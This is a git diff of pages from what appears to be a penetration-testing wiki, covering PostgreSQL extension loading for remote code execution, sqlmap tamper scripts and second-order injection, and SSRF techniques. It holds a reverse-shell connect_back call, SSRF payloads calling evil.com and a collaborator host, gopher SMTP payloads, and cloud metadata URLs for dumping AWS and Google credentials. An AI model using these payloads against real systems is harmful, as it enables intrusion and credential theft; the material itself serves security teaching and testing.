`C:\Program Files\PostgreSQL\11\data` directory. The reason for this should be clear, for updating/creating tables in the database. -The underlying issue is that the `CREATE FUNCTION` operative **allows for a directory traversal** to the data directory! So essentially, an authenticated attacker can **write a shared library file into the data directory and use the traversal to load the shared library**. This means an attacker can get native code execution and as such, execute arbitrary code. +The underlying issue is that the `CREATE FUNCTION` operative** allows for a directory traversal **to the data directory! So essentially, an authenticated attacker can **write a shared library file into the data directory and use the traversal to load the shared library**. This means an attacker can get native code execution and as such, execute arbitrary code. #### Attack flow -First of all you need to **use large objects to upload the dll**. You can see how to do that here: +First of all you need to** use large objects to upload the dll**. You can see how to do that here: -{% page-ref page="big-binary-files-upload-postgresql.md" %} +{% content-ref url="big-binary-files-upload-postgresql.md" %} +[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md) +{% endcontent-ref %} -Once you have uploaded the extension \(with the name of poc.dll for this example\) to the data directory you can load it with: +Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with: ```c create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict; @@ -245,8 +247,8 @@ select connect_back('192.168.100.54', 1234); _Note that you don't need to append the `.dll` extension as the create function will add it._ -For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.** -In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) ****\(_to learn how to compile a postgres extension read any of the previous versions_\). +For more information **read the**[** original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\ +In that publication **this was the **[**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c)** **(_to learn how to compile a postgres extension read any of the previous versions_).\ In the same page this **exploit to automate** this technique was given: ```python @@ -286,4 +288,3 @@ print("(+) for a db cleanup only, run the following sql:") print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;") print(" drop function connect_back(text, integer);") ``` - diff --git a/pentesting-web/sql-injection/sqlmap/README.md b/pentesting-web/sql-injection/sqlmap/README.md index 9c6de879..aceee752 100644 --- a/pentesting-web/sql-injection/sqlmap/README.md +++ b/pentesting-web/sql-injection/sqlmap/README.md @@ -135,7 +135,7 @@ python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wis sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` -\*\*\*\*[**Read this post** ](second-order-injection-sqlmap.md)**about how to perform simple and complex second order injections with sqlmap.** +****[**Read this post **](second-order-injection-sqlmap.md)**about how to perform simple and complex second order injections with sqlmap.** ## Customizing Injection @@ -167,52 +167,51 @@ Remember that **you can create your own tamper in python** and it's very simple. #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` -| Tamper | Description | -| :--- | :--- | -| apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | -| apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart | -| appendnullbyte.py | Appends encoded NULL byte character at the end of payload | -| base64encode.py | Base64 all characters in a given payload | -| between.py | Replaces greater than operator \('>'\) with 'NOT BETWEEN 0 AND \#' | -| bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | -| chardoubleencode.py | Double url-encodes all characters in a given payload \(not processing already encoded\) | -| commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' | -| commalessmid.py | Replaces instances like 'MID\(A, B, C\)' with 'MID\(A FROM B FOR C\)' | -| concat2concatws.py | Replaces instances like 'CONCAT\(A, B\)' with 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' | -| charencode.py | Url-encodes all characters in a given payload \(not processing already encoded\) | -| charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "%u0022" | -| charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "\u0022" | -| equaltolike.py | Replaces all occurances of operator equal \('='\) with operator 'LIKE' | -| escapequotes.py | Slash escape quotes \(' and "\) | -| greatest.py | Replaces greater than operator \('>'\) with 'GREATEST' counterpart | -| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | -| ifnull2ifisnull.py | Replaces instances like 'IFNULL\(A, B\)' with 'IF\(ISNULL\(A\), B, A\)' | -| modsecurityversioned.py | Embraces complete query with versioned comment | -| modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | -| multiplespaces.py | Adds multiple spaces around SQL keywords | -| nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement \(e.g. .replace\("SELECT", ""\)\) filters | -| percentage.py | Adds a percentage sign \('%'\) infront of each character | -| overlongutf8.py | Converts all characters in a given payload \(not processing already encoded\) | -| randomcase.py | Replaces each keyword character with random case value | -| randomcomments.py | Add random comments to SQL keywords | -| securesphere.py | Appends special crafted string | -| sp\_password.py | Appends 'sp\_password' to the end of the payload for automatic obfuscation from DBMS logs | -| space2comment.py | Replaces space character \(' '\) with comments | -| space2dash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a random string and a new line \('\n'\) | -| space2hash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) | -| space2morehash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) | -| space2mssqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters | -| space2mssqlhash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a new line \('\n'\) | -| space2mysqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters | -| space2mysqldash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a new line \('\n'\) | -| space2plus.py | Replaces space character \(' '\) with plus \('+'\) | -| space2randomblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters | -| symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts \(&& and | -| unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT | -| unmagicquotes.py | Replaces quote character \('\) with a multi-byte combo %bf%27 together with generic comment at the end \(to make it work\) | -| uppercase.py | Replaces each keyword character with upper case value 'INSERT' | -| varnish.py | Append a HTTP header 'X-originating-IP' | -| versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | -| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment | -| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' | - +| Tamper | Description | +| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | +| apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | +| apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart | +| appendnullbyte.py | Appends encoded NULL byte character at the end of payload | +| base64encode.py | Base64 all characters in a given payload | +| between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | +| bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | +| chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | +| commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' | +| commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' | +| concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | +| charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | +| charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "%u0022" | +| charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "\u0022" | +| equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' | +| escapequotes.py | Slash escape quotes (' and ") | +| greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart | +| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | +| ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' | +| modsecurityversioned.py | Embraces complete query with versioned comment | +| modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | +| multiplespaces.py | Adds multiple spaces around SQL keywords | +| nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters | +| percentage.py | Adds a percentage sign ('%') infront of each character | +| overlongutf8.py | Converts all characters in a given payload (not processing already encoded) | +| randomcase.py | Replaces each keyword character with random case value | +| randomcomments.py | Add random comments to SQL keywords | +| securesphere.py | Appends special crafted string | +| sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs | +| space2comment.py | Replaces space character (' ') with comments | +| space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') | +| space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | +| space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | +| space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | +| space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') | +| space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | +| space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') | +| space2plus.py | Replaces space character (' ') with plus ('+') | +| space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | +| symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and | +| unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT | +| unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) | +| uppercase.py | Replaces each keyword character with upper case value 'INSERT' | +| varnish.py | Append a HTTP header 'X-originating-IP' | +| versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | +| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment | +| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' | diff --git a/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md b/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md index b3697f58..bd30ffb4 100644 --- a/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md +++ b/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md @@ -1,10 +1,10 @@ # Second Order Injection - SQLMap -**SQLMap can exploit Second Order SQLis.** -You need to provide: +**SQLMap can exploit Second Order SQLis.**\ +****You need to provide: -* The **request** where the **sqlinjection payload** is going to be saved -* The **request** where the **payload** will be **executed** +* The **request **where the **sqlinjection payload **is going to be saved +* The **request **where the **payload **will be **executed** The request where the SQL injection payload is saved is **indicated as in any other injection in sqlmap**. The request **where sqlmap can read the output/execution** of the injection can be indicated with `--second-url` or with `--second-req` if you need to indicate a complete request from a file. @@ -56,8 +56,8 @@ So, if for some reason we need a more complex flow to exploit the second order S * Create an account with the SQLi payload inside the "email" field * Logout -* Login with that account \(login.txt\) -* Send a request to execute the SQL injection \(second.txt\) +* Login with that account (login.txt) +* Send a request to execute the SQL injection (second.txt) **This sqlmap line will help:** @@ -75,4 +75,3 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy # --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln # -a : Dump all ``` - diff --git a/pentesting-web/ssrf-server-side-request-forgery.md b/pentesting-web/ssrf-server-side-request-forgery.md index ff5fc20c..705655b8 100644 --- a/pentesting-web/ssrf-server-side-request-forgery.md +++ b/pentesting-web/ssrf-server-side-request-forgery.md @@ -1,22 +1,22 @@ -# SSRF \(Server Side Request Forgery\) +# SSRF (Server Side Request Forgery) ## What is Server Side Request Forgery? -Server-side request forgery \(also known as SSRF\) is a web security vulnerability that allows an attacker to **induce the server-side application to make HTTP requests to an arbitrary domain** of the attacker's choosing. \(From [here](https://portswigger.net/web-security/ssrf)\) +Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to **induce the server-side application to make HTTP requests to an arbitrary domain** of the attacker's choosing. (From [here](https://portswigger.net/web-security/ssrf)) ## What you should try to do -* Accessing to **local files** \(file://\) +* Accessing to **local files** (file://) * Trying to access to **local IP** * Local **IP bypass** - * **DNS spoofing** \(domains pointing to 127.0.0.1\) - * **DNS Rebinding** \(resolves to an IP and next time to a local IP: [http://rbnd.gl0.eu/dnsbin](http://rbnd.gl0.eu/dnsbin)\). This is useful to bypass configurations which resolves the given domain and check it against a white-list and then try to access it again \(as it has to resolve the domain again a different IP can be served by the DNS\). More [info here](https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/). -* Trying to make an **internal assets discovery and internal port scan**. -* Accessing **private content** \(filtered by IP or only accessible locally, like _/admin_ path\). + * **DNS spoofing** (domains pointing to 127.0.0.1) + * **DNS Rebinding** (resolves to an IP and next time to a local IP: [http://rbnd.gl0.eu/dnsbin](http://rbnd.gl0.eu/dnsbin)). This is useful to bypass configurations which resolves the given domain and check it against a white-list and then try to access it again (as it has to resolve the domain again a different IP can be served by the DNS). More [info here](https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/). +* Trying to make an** internal assets discovery and internal port scan**. +* Accessing **private content** (filtered by IP or only accessible locally, like _/admin_ path). ## Internet Exfiltration Services -You could use **burpcollab** or [**pingb**](http://pingb.in/) ****for example. +You could use **burpcollab** or [**pingb**](http://pingb.in)** **for example. ## Bypass restrictions @@ -80,7 +80,7 @@ https://127.0.0.1?{domain} https://127.0.0.1///{domain} ``` -### Bypass using DNS -> localhost +### Bypass using DNS -> localhost ```bash localtest.me = 127.0.0.1 @@ -122,12 +122,12 @@ http://127.1.1.1:80#\@127.2.2.2:80/ ### Bypass domain regexp -[**Go to the proposed bypasses for Referer header in CSRF**](csrf-cross-site-request-forgery.md#referer)\*\*\*\* +[**Go to the proposed bypasses for Referer header in CSRF**](csrf-cross-site-request-forgery.md#referer)**** ### Bypass via redirect -It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request. -For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher. +It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\ +For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\ [Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python @@ -153,17 +153,17 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ### Bypass via open redirect -If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**. +If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.\ Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## SSRF via Referrer header -Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities. +Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities.\ To discover this kind of "hidden" vulnerabilities you could use the plugin "**Collaborator Everywhere**" from Burp. ## Server browser enumeration -You can use applications like [http://webhook.site](http://webhook.site/) to find which browser is being used. +You can use applications like [http://webhook.site](http://webhook.site) to find which browser is being used. ## Exploitation @@ -171,7 +171,7 @@ You can use applications like [http://webhook.site](http://webhook.site/) to fin ### file:// -```text +``` file:///etc/passwd ``` @@ -179,7 +179,7 @@ file:///etc/passwd The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol: -```text +``` dict://;@:/d::: ssrf.php?url=dict://attacker:11111/ ``` @@ -188,7 +188,7 @@ ssrf.php?url=dict://attacker:11111/ A network protocol used for secure file transfer over secure shell -```text +``` ssrf.php?url=sftp://evil.com:11111/ ``` @@ -196,7 +196,7 @@ ssrf.php?url=sftp://evil.com:11111/ Trivial File Transfer Protocol, works over UDP -```text +``` ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET ``` @@ -204,18 +204,18 @@ ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service. -```text +``` ssrf.php?url=ldap://localhost:11211/%0astats%0aquit ``` ### Gopher:// -Using this protocol you can specify the **ip, port and bytes** you want the listener to **send**. Then, you can basically exploit a SSRF to **communicate with any TCP server** \(but you need to know how to talk to the service first\). +Using this protocol you can specify the** ip, port and bytes** you want the listener to **send**. Then, you can basically exploit a SSRF to **communicate with any TCP server** (but you need to know how to talk to the service first).\ Fortunately, you can use [https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) to already create payloads for several services. #### Gopher smtp -```text +``` ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a will make a request like HELO localhost @@ -251,19 +251,19 @@ https://example.com/?q=http://evil.com/redirect.php. ### SMTP -From [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929): -1. connect with SSRF on smtp localhost:25 -2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy) ESMTP Sendmail -3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH) on github, find subdomains -4. connect +From [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\ +1\. connect with SSRF on smtp localhost:25 \ +2\. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy) ESMTP Sendmail \ +3\. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH) on github, find subdomains \ +4\. connect ### SSRF with Command Injection -It might be worth trying a payload like: ``url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami``` +It might be worth trying a payload like: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` ### Exploiting PDFs Rendering -If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself \(the server\) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here.**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)\*\*\*\* +If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator **itself (the server) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here.**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**** ### From SSRF to DoS @@ -279,16 +279,16 @@ Requirements: Attack: -1. Ask the user/bot **access** a **domain** controlled by the **attacker** -2. The **TTL** of the **DNS** is **0** sec \(so the victim will check the IP of the domain again soon\) -3. A **TLS connection** is created between the victim and the domain of the attacker. The attacker introduces the **payload inside** the **Session ID or Session Ticket**. -4. The **domain** will start an **infinite loop** of redirects against **himself**. The goal of this is to make the user/bot access the domain until it perform **again** a **DNS request** of the domain. -5. In the DNS request a **private IP** address is given **now** \(127.0.0.1 for example\) -6. The user/bot will try to **reestablish the TLS connection** and in order to do so it will **send** the **Session** ID/Ticket ID \(where the **payload** of the attacker was contained\). So congratulations you managed to ask the **user/bot attack himself**. +1. Ask the user/bot **access **a **domain **controlled by the **attacker** +2. The **TTL **of the **DNS **is **0 **sec (so the victim will check the IP of the domain again soon) +3. A **TLS connection **is created between the victim and the domain of the attacker. The attacker introduces the **payload inside **the **Session ID or Session Ticket**. +4. The **domain **will start an **infinite loop **of redirects against **himself**. The goal of this is to make the user/bot access the domain until it perform **again **a **DNS request **of the domain. +5. In the DNS request a **private IP** address is given **now **(127.0.0.1 for example) +6. The user/bot will try to **reestablish the TLS connection** and in order to do so it will **send **the **Session **ID/Ticket ID (where the **payload **of the attacker was contained). So congratulations you managed to ask the **user/bot attack himself**. -Note that during this attack, if you want to attack localhost:11211 \(_memcache_\) you need to make the victim establish the initial connection with www.attacker.com:11211 \(the **port must always be the same**\). -To **perform this attack you can use the tool**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/) -For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference) +Note that during this attack, if you want to attack localhost:11211 (_memcache_) you need to make the victim establish the initial connection with www.attacker.com:11211 (the** port must always be the same**).\ +To **perform this attack you can use the tool**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ +For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference) ## Exploitation in Cloud @@ -296,13 +296,13 @@ For **more information** take a look to the talk where this attack is explained: #### 169.254.169.254 - Metadata Address -**Metadata** of the basic virtual machines from AWS \(called EC2\) can be retrieved from the VM accessing the url: `http://169.254.169.254` \([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)\). +**Metadata **of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use `Metadata-Flavor: Google` as an HTTP header and refusing requests with an `X-Forwarded-For` header. **AWS has no constraints**. Sending a GET requests to the following endpoint will **dump a list of roles** that are attached to the current EC2 instance: -```text +``` http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` @@ -310,7 +310,7 @@ If you want to access your S3 bucket you would normally hard-code your API keys Once you get a list of roles attached to the EC2 instance you can **dump their credentials** by making a GET requests to the following URL: -```text +``` http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` @@ -318,7 +318,7 @@ As an example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.fl The response should look something like this: -```text +``` { "Code" : "Success", "LastUpdated" : "2019-08-03T20:42:03Z", @@ -330,55 +330,55 @@ The response should look something like this: } ``` -You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do. If the role has improper permissions set \(Most likely\) you will be able to do all kinds of things, you might even be able to take over their entire cloud network. +You can then take** those credentials and use them with the AWS CLI**. This will allow you to do** anything that role has permissions** to do. If the role has improper permissions set (Most likely) you will be able to do all kinds of things, you might even be able to take over their entire cloud network. To take advantage of the new credentials, you will need to crate a new AWS profile like this one: -```text +``` [profilename] aws_access_key_id = ASIA6GG7PSQG4TCGYYOU aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` -Notice the **aws\_session\_token**, this is indispensable for the profile to work. -Information taken from: [http://ghostlulz.com/ssrf-aws-credentials/](http://ghostlulz.com/ssrf-aws-credentials/) \(read that post for further information\). -Another possible interesting place where you can find credentials is in[ http://169.254.169.254/user-data](%20http://169.254.169.254/user-data) +Notice the **aws_session_token**, this is indispensable for the profile to work.\ +Information taken from: [http://ghostlulz.com/ssrf-aws-credentials/](http://ghostlulz.com/ssrf-aws-credentials/) (read that post for further information).\ +Another possible interesting place where you can find credentials is in[ http://169.254.169.254/user-data](http://169.254.169.254/user-data) -[**PACU**](https://github.com/RhinoSecurityLabs/pacu) ****can be used with the discovered credentials to find out your privileges and try to escalate privileges +[**PACU**](https://github.com/RhinoSecurityLabs/pacu)** **can be used with the discovered credentials to find out your privileges and try to escalate privileges -### SSRF in AWS ECS \(Container Service\) credentials +### SSRF in AWS ECS (Container Service) credentials **ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**. -If you access _**http://169.254.170.2/v2/credentials/<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the** _**<GUID>**_ . To find the <GUID> you need to read the **environ** variable _**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**_ inside the machine. -You could be able to read it exploiting an **Path Traversal** to _file:///proc/self/environ_ -The mentioned http address should give you the **AccessKey, SecretKey and token**. +If you access _**http://169.254.170.2/v2/credentials/\**_ you will find the credentials of the ECS machine. But first you need to** find the **_**\**_ . To find the \ you need to read the **environ **variable _**AWS_CONTAINER_CREDENTIALS_RELATIVE_URI **_inside the machine. \ +You could be able to read it exploiting an **Path Traversal** to _file:///proc/self/environ_\ +__The mentioned http address should give you the **AccessKey, SecretKey and token**. -### SSRF URL for AWS Elastic Beanstalk +### SSRF URL for AWS Elastic Beanstalk We retrieve the `accountId` and `region` from the API. -```text +``` http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API. -```text +``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` -![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20)![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL) +![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20)![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL) Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. -### SSRF URL for Google Cloud +### SSRF URL for Google Cloud Requires the header “Metadata-Flavor: Google” or “X-Google-Metadata-Request: True” -```text +``` http://169.254.169.254/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/ http://metadata/computeMetadata/v1/ @@ -389,13 +389,13 @@ http://metadata.google.internal/computeMetadata/v1/project/project-id Google allows recursive pulls -```text +``` http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true ``` -Beta does NOT require a header atm \(thanks Mathias Karlsson @avlidienbrunn\) +Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn) -```text +``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` @@ -406,17 +406,17 @@ Interesting files to pull out: * Get Access Token : [`http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`](http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token) * Kubernetes Key : 